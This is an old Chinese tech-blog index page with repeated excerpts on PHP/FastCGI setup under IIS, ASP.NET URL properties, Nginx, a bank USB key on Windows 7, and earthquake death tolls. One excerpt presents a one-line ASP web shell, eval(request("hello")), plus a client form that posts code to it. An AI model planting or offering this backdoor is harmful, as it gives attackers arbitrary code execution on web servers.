从中国建造到中国制造
[ 2010-03-02 10:09:20 | 作者: admin ]
当地时间2月27日3时34分,智利发生8.8级地震,震源位于海底59.4公里,地点位于马乌莱地区外海,这是该国50年来遭受最严重的灾难,据第2大城市康塞普西翁100公里。虽然是8.8级的大地震,但是我们看到死亡人数只有700余人,中国人看到这个令人欣慰的数字的同时,是不是更多的是惆怅。
从历届大地震发生的情况来看,死亡数字和经济有着密不可分的关系。
--------------------------------------------------------------------------------------------------------------------------------------------
意大利墨西拿大地震 1908年12月18日5时25分 西西里岛墨西拿市 7.5级 7.5万人
...
阅读全文…
从历届大地震发生的情况来看,死亡数字和经济有着密不可分的关系。
--------------------------------------------------------------------------------------------------------------------------------------------
意大利墨西拿大地震 1908年12月18日5时25分 西西里岛墨西拿市 7.5级 7.5万人
...
阅读全文…
关于FastCGI下PHP无法显示错误信息的问题的解决办法
[ 2010-03-01 16:35:57 | 作者: admin ]
在IIS+FastCGI中配置PHP后,如果php源文件中存在错误,则不论是什么错误,FastCGI都会返回内部服务器错误500的信息,这给程序调试带来了麻烦。解决这个问题的办法如下:
打开PHP的配置文件php.ini,并做如下配置修改:
short_open_tag = On
fastcgi.logging = 0
log_errors = On
error_reporting = E_ALL
error_log = "C:\Windows\Temp\php-errors.log"
需要确保"C:\Windows\Temp"就是系统Temp路径,这样以来如果是PHP组件出现错误,就可以在C:\Windows\Temp\php-errors.log文件中看到错误提示,如果PHP的warning或notice则在浏览器中会看到详细出错信息并且在php-errors.log文件中也可以看到出错信息了。
打开PHP的配置文件php.ini,并做如下配置修改:
short_open_tag = On
fastcgi.logging = 0
log_errors = On
error_reporting = E_ALL
error_log = "C:\Windows\Temp\php-errors.log"
需要确保"C:\Windows\Temp"就是系统Temp路径,这样以来如果是PHP组件出现错误,就可以在C:\Windows\Temp\php-errors.log文件中看到错误提示,如果PHP的warning或notice则在浏览器中会看到详细出错信息并且在php-errors.log文件中也可以看到出错信息了。
IIS6配置PHP5+fastcgi,出现FCGI14001错误解决方法
[ 2010-03-01 15:36:44 | 作者: admin ]
引用
FastCGI Error
The FastCGI Handler was unable to process the request.
--------------------------------------------------------------------------------
Error Details:
Error Number: 14001 (0x800736b1).
Error Description: 由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。
HTTP Error 500 - Server Error.
Internet Information Services (IIS)
The FastCGI Handler was unable to process the request.
--------------------------------------------------------------------------------
Error Details:
Error Number: 14001 (0x800736b1).
Error Description: 由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。
HTTP Error 500 - Server Error.
Internet Information Services (IIS)
错误关键在于没有安装VC9运行库 即VISUAL C++ 2008
...
阅读全文…
IIS下PHP的ISAPI和FastCGI比较
[ 2010-02-25 14:53:59 | 作者: admin ]
p.s.推荐使用FastCGI,ISAPI方式需要指定环境变量 PATH 和 PHPRC,不然无法加载php.ini
在Windows IIS 6.0下配置PHP,通常有CGI、ISAPI和FastCGI三种配置方式,这三种模式都可以在IIS 6.0下成功运行,下面我就讲一下这三种方式配置的区别和性能上的差异。
1、CGI(通用网关接口/Common Gateway Interface)一般是可执行程序,例如EXE文件,和WEB服务器各自占据着不同的进程,而且一般一个CGI程序只能处理一个用户请求。这样,当用户请求数量非常多时,会大量占用系统的资源,如内存、CPU时间等,造成效能低下。
2、ISAPI(Internet Server Application Program Interface)是微软提供的一套面向WEB服务的API接口,它能实现CGI提供的全部功能,并在此...
阅读全文…
在Windows IIS 6.0下配置PHP,通常有CGI、ISAPI和FastCGI三种配置方式,这三种模式都可以在IIS 6.0下成功运行,下面我就讲一下这三种方式配置的区别和性能上的差异。
1、CGI(通用网关接口/Common Gateway Interface)一般是可执行程序,例如EXE文件,和WEB服务器各自占据着不同的进程,而且一般一个CGI程序只能处理一个用户请求。这样,当用户请求数量非常多时,会大量占用系统的资源,如内存、CPU时间等,造成效能低下。
2、ISAPI(Internet Server Application Program Interface)是微软提供的一套面向WEB服务的API接口,它能实现CGI提供的全部功能,并在此...
阅读全文…
一句话木马,eval的客户端asp木马
[ 2010-02-25 13:38:54 | 作者: admin ]
网上的eval asp木马,客户端其实还是调用了execute语句,这样比较方便。如果纯用eval 的话,也不难。但是在eval方法中,有些地方要注意。VBS里正确的写法如下:
EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式
Eval ("msgbox(""1"")&msgbox(""2"")")
Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"
Eval MsgBox ("1")&vbrlf&MsgBox ("2")
EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试:
S端:<% eval(request("hello")) %>
C端:<form action=http://192.168.0.8/2.asp method=post name=form1>
<textarea ...
阅读全文…
EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式
Eval ("msgbox(""1"")&msgbox(""2"")")
Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"
Eval MsgBox ("1")&vbrlf&MsgBox ("2")
EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试:
S端:<% eval(request("hello")) %>
C端:<form action=http://192.168.0.8/2.asp method=post name=form1>
<textarea ...
阅读全文…
老版本金邦达工行U盾在Win7下的安装使用
[ 2010-02-23 21:30:06 | 作者: admin ]
换了win7,32位的,老版本金邦达U盾不能用了,先是驱动装不上,查过些资料还是没用,只好手工装驱动,完了后,浏览器还是不认,按网友说的改了注册表,就OK了,已经成功支付,故留个记号,方便用得着的人。
1. 装驱动,没用也要装。顺便把控件也装了吧。
上面都在工行个人网银上面,呵呵。
2. 还是装驱动;
1. 看看设置管理器能不能正常认出设备,能正常认出,这一步就免了。我的是不行,只好……上图。插上U盾……..
...
阅读全文…
1. 装驱动,没用也要装。顺便把控件也装了吧。
上面都在工行个人网银上面,呵呵。
2. 还是装驱动;
1. 看看设置管理器能不能正常认出设备,能正常认出,这一步就免了。我的是不行,只好……上图。插上U盾……..
...
阅读全文…
ASP.net获取当前url各种属性(文件名、参数、域名 等)的方法
[ 2010-02-09 14:19:30 | 作者: admin ]
假设当前页完整地址是:http://www.52News.com/aaa/bbb.aspx?id=5&name=kelli
"http://"是协议名
"www.52News.com"是域名
"aaa"是站点名
"bbb.aspx"是页面名(文件名)
"id=5&name=kelli"是参数
【1】获取 完整url (协议名+域名+站点名+文件名+参数)
string url=Request.Url.ToString();
url= http://www.52News.com/aaa/bbb.aspx?id=5&name=kelli
【2】获取 站点名+页面名+参数:
string url=Request.RawUrl;
(或 string url=Request.Url.PathAndQuery;)
url= /aaa/bbb.aspx?id=5&name=kelli
...
阅读全文…
"http://"是协议名
"www.52News.com"是域名
"aaa"是站点名
"bbb.aspx"是页面名(文件名)
"id=5&name=kelli"是参数
【1】获取 完整url (协议名+域名+站点名+文件名+参数)
string url=Request.Url.ToString();
url= http://www.52News.com/aaa/bbb.aspx?id=5&name=kelli
【2】获取 站点名+页面名+参数:
string url=Request.RawUrl;
(或 string url=Request.Url.PathAndQuery;)
url= /aaa/bbb.aspx?id=5&name=kelli
...
阅读全文…
Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版,但是,Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。
因为 Nginx 的文档大部分是俄文的,Nginx 的中文维基的目的是帮助使用中文世界的用户安装、配置和交换有关 Nginx 的使用经验。大部分文档源自Aleksandar Lazic <al-nginx AT none DOT at>的工作。有关本维基本身的问题请直接询问Cliff Wells <cliff AT develix DOT com>。
...
阅读全文…
因为 Nginx 的文档大部分是俄文的,Nginx 的中文维基的目的是帮助使用中文世界的用户安装、配置和交换有关 Nginx 的使用经验。大部分文档源自Aleksandar Lazic <al-nginx AT none DOT at>的工作。有关本维基本身的问题请直接询问Cliff Wells <cliff AT develix DOT com>。
...
阅读全文…